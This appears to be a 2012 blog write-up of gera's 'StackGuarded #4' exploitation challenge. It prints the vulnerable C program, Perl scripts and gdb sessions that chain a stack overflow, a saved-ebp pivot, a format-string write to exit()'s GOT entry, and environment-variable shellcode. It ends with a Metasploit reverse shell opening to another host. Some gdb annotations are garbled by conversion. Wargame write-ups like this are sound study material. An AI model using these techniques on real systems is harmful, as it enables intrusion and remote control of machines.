Saturday, September 8, 2012

StackGuarded #4

gera's StackGuarded #4.
/* sg4.c                                                   *
 * specially crafted to feed your brain by gera@corest.com */

// XXX: Add real encryption here
#define decrypt(dest,src)     strcpy(dest,src)  

int check(char *user) {
        char temp[80];

        decrypt(temp,user);

        // XXX: add some real checks in the future
        return !strcmp(temp,"gera");
}

// XXX: Add real support for internationalization
#define LANG_MSG(dest,pattern) strcpy(dest,pattern);

int main(int argv, char **argc) {
    char msg[100];

    LANG_MSG(msg,"Get out of here!\n");
    if (!check(argc[1])) {
            printf(msg);
            exit(1);
    }
    exit(0);
}
There are a few more caveats here. First, I believe that when gera wrote this challenge, StackGuard was using its terminator canary, which looks like "\x00\x0a\xff\x0d", by default. The idea is that these four characters should terminate any string handling function (gets(), strcpy(), etc.) prematurely. This means that the canary can still be overwritten, but the string would terminate before it got to the saved EIP.
Second, since I don't have access to a proper StackGuard box, I have to fake it by manually setting ebp in main(). With that said, main()'s ebp is fully controllable due to the buffer overflow.
Starting program: /home/dennis/sg4/sg4 `perl -e 'print "A" x 84'`

Breakpoint 7, check (user=0xbffffba4 'A' ) at sg4.c:14
14      }
(gdb) info frame
Stack level 0, frame at 0xbffff9bc:
 eip = 0x804853b in check (sg4.c:14); saved eip 0x8048500
 called by frame at 0x41414141
 source language c.
 Arglist at 0xbffff9bc, args: user=0xbffffba4 'A' 
 Locals at 0xbffff9bc, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0xbffff9bc, eip at 0xbffff9c0
(gdb) x/x 0xbffff9bc
0xbffff9bc:     0x41414141 <-- 0x08048500="" 0xbffff9c0:="" a="" canary="" ebp="" gdb="" is="" main="" pre="" pretend="" s="" saved="" terminator="" this="">

The gist of this exploit is to use the buffer overflow in check() to move main()'s ebp pointer, to control the msg variable. msg will point to a format string crafted in argv[2] allowing a write 4 bytes to any address primitive.
To start, I stick some shellcode into an environment variable and get its address. Stack spacing/alignment is important so I duplicate the exploit's arguments. 


[dennis@localhost sg4]$ export SG4=`perl sc.pl`
[dennis@localhost sg4]$ ./ev4 `perl argv1.pl` `perl argv2.pl`
SG4 is at 0xbffffc52
I'll also need exit()'s GOT address.
[dennis@localhost sg4]$ objdump -R sg4 | grep exit
08049658 R_386_JUMP_SLOT   exit
Here is argv1.pl
#!/usr/bin/perl

use warnings;
use strict;

my $filler1 = "A" x 1;
#my $exit_addr1 = "BBBB";
my $exit_addr1 = "\x58\x96\x04\x08";
#my $exit_addr2 = "CCCC";
my $exit_addr2 = "\x5a\x96\x04\x08";
my $filler2 = "A" x (80 - length($filler1) - length($exit_addr1) - length($exit_
addr2));
my $argv1 = $filler1.$exit_addr1.$exit_addr2.$filler2;
print $argv1;
argv1 overflows the buffer in check(). Note, without caveat number two, this would overwrite the saved ebp with an address that points to the format string in argv[2] (next.) In the beginning of this buffer, I place addresses that point to the low and high bytes of exit()'s GOT entry. argv2.pl contains the format string and it looks like this
#!/usr/bin/perl

use warnings;
use strict;

my $format = "%.64594u%124\$n%.50093u%125\$n";
my $filler3 = "C" x (100 - length($format));
my $argv2 = $format.$filler3;

print $argv2;
So that offsets didn't change during the development of the format string, I used $filler3 to setup a static "buffer" to work in. Remembering that the shellcode is at 0xbffffc52 the precision values for the %u modifiers are calculated like this
(gdb) print /d 0xfc52
$1 = 64594
(gdb) print /d 0x1bfff - 64594
$2 = 50093
The direct argument offsets, 124 and 125, point to the two exit() addresses from argv[1]. They were bruteforce calculated in gdb
(gdb) x/x $esp + (125 * 4) 
0xbffffb44:     0x08049658
(gdb) x/x $esp + (124 * 4)
0xbffffb48:     0x0804965a
With this setup, the printf(msg) call turns into
printf("%.64594u%124\$n%.50093u%125\$n", junk1, exit_addr1, junk2, exit_addr2)
junk1 and junk2 are taken off the real stack, whereas the two exit_addrs are taken from argv[1]. Exploit.
In the below exploit, ebp is set like
set $ebp = 0xbffffb94 + 112
0xbffffb94 is the start of argv[2], which was bruteforce calculated in gdb. 112 is the offset msg is from ebp.
(gdb) break 24
Breakpoint 6 at 0x804856d: file sg4.c, line 24.
(gdb) run `perl argv1.pl` `perl argv2.pl`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/sg4/sg4 `perl argv1.pl` `perl argv2.pl`

Breakpoint 6, main (argv=1094795585, argc=0x41414141) at sg4.c:24
24                  printf(msg);
(gdb) set $ebp = 0xbffffb94 + 112 <-- 0xbffffb94:="" 2="" 72="" caveat="" ebp.="" gdb="" manually="" msg="" n="" repeats="" s="" set="" times="" u="" x="">
(gdb) c

...

000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000544503
151C
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40001e60 in _start () at rtld.c:158
158     rtld.c: No such file or directory.
        in rtld.c
(gdb) fg
Continuing.

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444 
[*] Starting the payload handler...
[*] Command shell session 4 opened (192.168.0.4:4444 -> 192.168.0.32:50115) at 2012-09-08 23:19:05 -0500

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/sg4
^C





No comments:

Post a Comment